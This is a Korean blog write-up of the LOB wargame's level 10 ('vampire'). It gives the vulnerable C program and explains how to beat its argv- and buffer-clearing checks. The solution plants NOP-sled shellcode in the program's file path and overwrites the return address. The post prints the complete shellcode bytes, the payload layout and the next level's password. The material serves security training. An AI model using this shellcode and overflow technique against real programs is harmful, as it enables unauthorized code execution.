DongDD's IT

[LOB] Level10 vampire 본문

Wargame/LOB

[LOB] Level10 vampire

DongDD 2018. 1. 21. 18:16

[LOB] Level10 vampire


Problem



이번 문제도 skeleton 실행 파일과 skeleton.c 소스 코드 파일이 있었다.

먼저 소스 코드를 확인해보았다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <stdio.h>
#include <stdlib.h>
 
extern char **environ;
 
main(int argc, char *argv[])
{
        char buffer[40];
        int i, saved_argc;
 
        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }
 
        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));
 
        if(argv[1][47!= '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }
 
        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }
 
        // argc saver
        saved_argc = argc;
 
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
 
        // buffer hunter
        memset(buffer, 040);
 
        // ultra argv hunter!
        for(i=0; i<saved_argc; i++)
                memset(argv[i], 0, strlen(argv[i]));
}
 
cs


buffer의 크기는 40 bytes로 똑같았고 if(argc < 2)도 똑같았다.

마찬가지로 extern을 통해 환경 변수를 가져오고 memset()을 통해 초기화 시켜준다.

argv[1]의 48번째 글자가 "\xbf"인지 확인하고 argv[1]의 길이가 48보다 크지 않아야한다.

그 다음에는 saved_argc라는 변수가 추가되었다. 여기에 argc의 값을 넣고 strcpy를 통해 argv[1]을 buffer에 복사한다.

memset()을 통해 buffer를 초기화하고 아까 저장해두었던 saved_argc(argv의 갯수)만큼 argv를 모두 초기화시켜준다.

stack에 있는 값을 사용해야하지만 buffer, argv, 환경 변수를 사용하기에는 어려움이 있어보인다.



이번 문제는 푸는 데 어려움이 많았던 것 같다. 여러가지 생각을 해보다가 argc의 값을 변조할 수 있는 지도 찾아보고 int형인 save_argc를 overflow시켜서 할 수 있는 지도 시도해보았지만 시스템 자체에 걸려있는 ARG_MAX값으로 인해 argv[]의 값들을 int overflow시킬 만큼 넣을 수 없어 성공하지 못했다.

그래서 stack에서 사용할 수 있는 변수를 찾아보다가 풀 수 있는 방법을 알아냈다.


Solution


1. 초기화되지 않은 값에 Shell code 이용


stack에서 사용할 수 있는 남은 변수가 뭐가 있는지 찾아보다가 stack의 끝에는 프로그램의 경로가 저장되는 것을 알 수 있었다.



모든 초기화를 끝내고 난 부분에 break point를 걸고 stack의 끝 부분을 확인하다보니 실제로 프로그램의 경로가 저장되어있는 것을 볼 수 있었다.


이 것을 이용하면 풀 수 있을 거란 생각에 시도해보았다.

전에 있었던 문제 중에 argv[0]을 이용한 문제가 있었는데 그것과 같은 방식으로 풀면 될 것 같았다.


저번 문제와 마찬가지로 file이름을 "\x90"(NOP)*100+Shell code+"\x90"(NOP)*100로 copy해 새로운 파일을 만들고 gdb를 통해 stack 영역 끝 부분에 경로가 들어가 shell code가 저장되는 것을 확인할 수 있었다.





파일 이름으로 입력한 "\x90"*100+ shell code + "\x90"*100 가 들어가 있는 주소를 찾았다.

0xbfffff46으로 return address를 설정해주는 payload를 작성해 실행하면 될 것 같았다.


사용한 shell code(48 bytes) :

\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81 


Payload = ./파일 이름(argv[0],"\x90"*100+ shell code + "\x90"*100) + argv[1](dummy - 44 bytes + return address - 파일 이름이 저장된 stack 주소)


위 Payload를 사용해 문제를 해결할 수 있었다.

처음에 NOP을 shell code 앞에만 써줘서 계속 segmentation fault가 떴는데 뒷 부분에도 "\x90"을 넣어주니 통과할 수 있었다.

아마 저번에 봤던 shell code와 뒷 부분의 특정 거리 때문인 것 같았다. 




**************     Answer & Flag     **************


1. 초기화되지 않은 값에 Shell code 이용


Payload = ./파일 이름(argv[0],"\x90"*100+ shell code + "\x90"*100) + argv[1](dummy - 44 bytes + return address - 파일 이름이 저장된 stack 주소)


argv[0] = "\x90"*100 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+ "\x90"*100

argv[1] = "A"*44 + "\x46\xff\xff\xbf"'


Next ID : skeleton
Next PW : shellcoder


'Wargame > LOB' 카테고리의 다른 글

[LOB] level12 golem  (0) 2018.01.25
[LOB] Level11 skeleton  (0) 2018.01.24
[LOB] Level9 troll  (0) 2018.01.21
[LOB] Level8 orge  (0) 2018.01.20
[LOB] Level7 darkelf  (0) 2018.01.19
Comments